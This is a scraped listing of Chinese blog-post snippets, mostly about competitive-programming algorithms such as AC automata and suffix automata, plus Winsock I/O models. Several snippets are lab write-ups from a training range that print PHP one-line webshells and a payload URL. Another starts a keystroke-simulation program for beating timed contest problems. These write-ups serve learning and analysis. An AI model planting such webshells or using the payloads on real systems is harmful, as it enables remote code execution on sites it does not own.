代码自动机（攻 ACwing 限时题）

#include<bits/stdc++.h> #include<windows.h> using namespace std; int tot=0; void an(int a) { keybd_event(a,0,0,0); keybd_event(a,0,KEYEVENTF_KEYUP,0); } void dx1() { keybd_event(16,0,0,0); } void dx2() { keybd_event(16,0,KEYEVENTF_KEYUP,0); }…

Windows Socket五种I/O模型——代码全攻略（转）

Winsock 的I/O操作: 1. 两种I/O模式阻塞模式:执行I/O操作完成前会一直进行等待,不会将控制权交给程序.套接字默认为阻塞模式.可以通过多线程技术进行处理. 非阻塞模式:执行I/O操作时,Winsock函数会返回并交出控制权.这种模式使用起来比较复杂,因为函数在没有运行完成就进行返回,会不断地返回 WSAEWOULDBLOCK错误.但功能强大.为了解决这个问题,提出了进行I/O操作的一些I/O模型,下面介绍最常见的三种: Windows Socket五种I/O模型——代码全攻…

【Python challenge】通关代码及攻略（0-11）

前言: 最近找到一个有关python的游戏闯关,这是游戏中的思考及通关攻略最开始位于:http://www.pythonchallenge.com/pc/def/0.html 第0关题目分析提示hint告诉我们是要尝试更改URL地址,图中是2^38,猜测地址是该结果. 考察知识点这是才开始,提示我们网站怎么闯关,以及了解到python中int永远不会溢出,存在机制自动扩容. 我会用到str函数,也可以直接算2**38 代码及结果 print(str(2**38)) 输出:27487790…

BZOJ 3252: 攻略(思路题)

传送门解题思路比较好想的一道思路题,结果有个地方没开$long$ $long$ $wa$了三次..其实就是模仿一下树链剖分,重新定义重儿子,一个点的重儿子为所有儿子中到叶节点权值最大的点,然后就和树链剖分一样$dfs$一遍,把那些链的顶端的$sum$值放到一个数组排个序. 代码 #include<iostream> #include<cstdio> #include<cstring> #include<cmath> #include&…

WebShell代码分析溯源(第1题)

<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php代码执行函数,与eval()有同样的功能,assert()函数中参数为表达式 (或者为函数) 因为$array[], POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马 &…

WebShell代码分析溯源(第1题)墨者学院

一.访问链接二.下载系统源码后直接放到D盾里扫描,扫到后门文件三.查看该木马文件 <?php error_reporting(0); $_GET['POST']($_POST['GET']);?> 1.error_reporting(0); 关闭错误报告 2.$_GET['POST']($_POST['GET']); 一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台因此构造payload:http://219.153.49.228:41996…

墨者学院靶场之PHP代码分析溯源(第1题)

申请靶场环境后点开题目一段奇怪的PHP代码因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是) 复制进去以":"来排个格式运行下,报错. 看看源码,"$_" "$__" "$___" 这三个是变量名,我们用echo输出下内容连在一起了,但是可以确定 $_ => 1 $__ => _GET $___…

acwing刷题-放养又没有完全放养

题目一个鲜为人知的事实是,奶牛拥有自己的文字:「牛文」. 牛文由 26 个字母 a 到 z 组成,但是当奶牛说牛文时,可能与我们所熟悉的 abcdefghijklmnopqrstuvwxyz 不同,她会按某种特定的顺序排列字母. 为了打发时间,奶牛 Bessie 在反复哼唱牛文字母歌,而 Farmer John 好奇她唱了多少遍. 给定一个小写字母组成的字符串,为 Farmer John 听到 Bessie 唱的字母,计算 Bessie 至少唱了几遍完整的牛文字母歌,使得 Farmer Joh…

acwing刷题--激光炸弹--前缀和（后期会有优化做法）

地图上有 N 个目标,用整数 Xi,Yi 表示目标在地图上的位置,每个目标都有一个价值 Wi. 注意:不同目标可能在同一位置. 现在有一种新型的激光炸弹,可以摧毁一个包含 R×R 个位置的正方形内的所有目标. 激光炸弹的投放是通过卫星定位的,但其有一个缺点,就是其爆炸范围,即那个正方形的边必须和 x,y 轴平行. 求一颗炸弹最多能炸掉地图上总价值为多少的目标. 输入格式第一行输入正整数 N 和 R,分别代表地图上的目标数目和正方形的边长,数据用空格隔开. 接下来 N 行,每行输入一组数据,每组…

2-java-写代码技巧和交题注意点

用java交题要严格按照规定写代码: 比如蓝桥杯就是: 1.不能有包名: 2.Class的名字必须是 Main; 代码补全建议: 1.main函数的头可以建立class时候直接勾选,也可以: 只输入 main, 然后alt + / : 补全 2.System.out.println() : 可以 syso, 然后代码补全快捷键: crt + d: 删除一行 ctr + shift + o: 导包 ctr + shift + i: 代码整理对齐 alt + / : 代码补全 java交题经验…

【原创】AC自动机小结

有了KMP和Trie的基础,就可以学习神奇的AC自动机了.AC自动机其实就是在Trie树上实现KMP,可以完成多模式串的匹配. AC自动机其实就是创建了一个状态的转移图,思想很重要. 推荐的学习链接: http://acm.uestc.edu.cn/bbs/read.php?tid=4294 http://blog.csdn.net/niushuai666/article/details/7002823 http://hi.baidu.com/nial…

Codeforces 86C Genetic engineering（AC自动机+DP）

题目大概是给几个DNA片段,求构造一个长度n的字符串的方案数,要求这个字符串每个位置的字符都属于某个包含于此字符串的DNA片段. 把那些DNA片段建一个AC自动机.考虑状态的表示: dp[len][x][k]表示长度len且后缀状态为自动机结点x且后k位还不满足要求的方案数然后转移就是向自动机上四个方向的结点走,如果下一步结点x'是某DNA的后缀且长度比k大,那就是转移到dp[len+1][x'][0]否则转移到dp[len+1][x'][k+1].另外因为DNA最长10,所以第三维k不会超过…

后缀自动机/回文自动机/AC自动机/序列自动机----各种自动机(自冻鸡) 题目泛做

题目1 BZOJ 3676 APIO2014 回文串算法讨论: cnt表示回文自动机上每个结点回文串出现的次数.这是回文自动机的定义考查题. #include <cstdlib> #include <cstdio> #include <cstring> #include <algorithm> #include <iostream> using namespace std; ; + ; typedef long long ll; char st…

AC自动机总结及板子（不带指针）

蒟蒻最近想学个AC自动机简直被网上的板子搞疯了,随便点开一个都是带指针的,然而平时用到指针的时候并不多,看到这些代码也完全是看不懂的状态.只好在大概理解后自己脑补(yy)了一下AC自动机的代码,居然还过了,这里对学到的东西做一点小小的总结.顺便造福一下跟我之前一样没有学过AC自动机并且不会用指针的Oier,给出一段不带指针的板子. AC自动机的模型很好理解,就是在Trie树上做类似于KMP的操作.所以说在AC自动机里也会有一个类似于 next 数组的东西------ fail 数组来作为失配指针…

洛谷P2444 [POI2000]病毒（AC自动机，DFS求环）

洛谷题目传送门 AC自动机入门--yyb巨佬的博客 AC自动机入手经典好题(虽然年代久远) 有了fail指针,trie树就不是原来的树型结构了,我们可以把它叫做trie图,由父节点向子节点连的边和fail代表的边构成(都是单向边). 最模板的AC自动机,就是直接匹配字符串.然而这题思维并非如此简单. 来一波逆向思维.假设我们构造出了一个无限长的安全代码,再拿到AC自动机上匹配,会发生什么? 没错,当我们一位一位地匹配的时候,我们会发现,永远都不会跳到某个病毒代码段结尾的位置(以后把这里称作危险节…

[BZOJ4044]Virus synthesis 回文自动机的DP

4044: [Cerc2014] Virus synthesis Time Limit: 20 Sec Memory Limit: 128 MB Description Viruses are usually bad for your health. How about fighting them with... other viruses? In this problem, you need to find out how to synthesize such good viruses. …

沉迷AC自动机无法自拔之：穿越广场 square

如标题所言,我已经沉迷于AC自动机无法自拔了... 这又是一道AC自动的题,红红火火恍恍惚惚穿越广场 [问题描述] L 国的仪仗队要穿越首都广场了.首都广场可以看做是一块 N*M 的矩形网格,仪仗队要从左上角的格点(0,0)行进到右下角的格点(N,M),行进过程中只能向右走或者向下走.如果把向右走记为’R’,把向下走记为’D’,则仪仗队的行进序列是一个包含 M 个’R’和 N 个’D’的字符串. 这时,L 国的首长又提出了一个奇葩的要求.他认为仪仗队行走的序列中必须包含他给出的两个字符串.请你…

SCOJ 4484 The Graver Robbers' Chronicles 后缀自动机

4484: The Graver Robbers' Chronicles 题目连接: http://acm.scu.edu.cn/soj/problem.action?id=4484 Description One day, Kylin Zhang and Wu Xie are trapped in a graveyard. They find an ancient piece of parchment with a cipher string. After discussion and ana…

【BZOJ4327】[JSOI2012] 玄武密码（AC自动机的小应用）

点此看题面大致题意: 给你一个长度为$len$的文本串和$n$个模式串,让你求出每一个模式串的前缀与文本串的最大匹配串长度(其中模式串和文本串都只由字符'E','S','W','N'组成). $AC$自动机这是一道$AC$自动机的简单运用题. 题解对于每一个模式串,我们可以记录它的每一个前缀在$Trie$上所对应的节点的位置. 在用$AC$自动机时,对每一个访问过的节点打个标记,如果遇到已经访问过的节点就$break$(因为接下来的节点肯定在第一次访问当前节点时…

【BZOJ3940】[USACO2015 Feb] Censoring （AC自动机的小应用）

点此看题面大致题意: 给你一个文本串和$N$个模式串,要你将每一个模式串从文本串中删去.(此题是[BZOJ3942][Usaco2015 Feb]Censoring的升级版) $AC$自动机这是一道$AC$自动机的简单运用题. 题解我们可以用一个$ans[$ $]$字符数组来存储最后的答案,并用一个$lst[$ $]$数组来记录字符串中每一位上次被访问时所到达的$Trie$上的节点. 如果找到了一个长度为$len$的模式串要删去,我们可以将$ans$…

【BZOJ3172】[TJOI2013] 单词（AC自动机的小应用）

点此看题面大致题意: 给你$N$个单词,请你求出每一个单词在这$N$个单词中出现的次数. 相关题目这道题应该是洛谷上一道板子题的升级版. $AC$自动机这是一道$AC$自动机的简单运用题. 题解一个比较暴力的做法,就是将这$N$个单词建一棵$Trie$,然后将每个单词一个一个分别去跑$AC$自动机,可惜这样子会$TLE$. 进一步的,我们可以发现,相同的单词跑$AC$自动机的结果是一样的,为什么不一起跑呢? 这样就可以$AC$了. 代码 #incl…

转自kuangbin的AC自动机（赛前最后一博）

【HDU2222】Keywords Search AC自动机

[HDU2222]Keywords Search Problem Description In the modern time, Search engine came into the life of everybody like Google, Baidu, etc.Wiskey also wants to bring this feature to his image retrieval system.Every image have a long description, when use…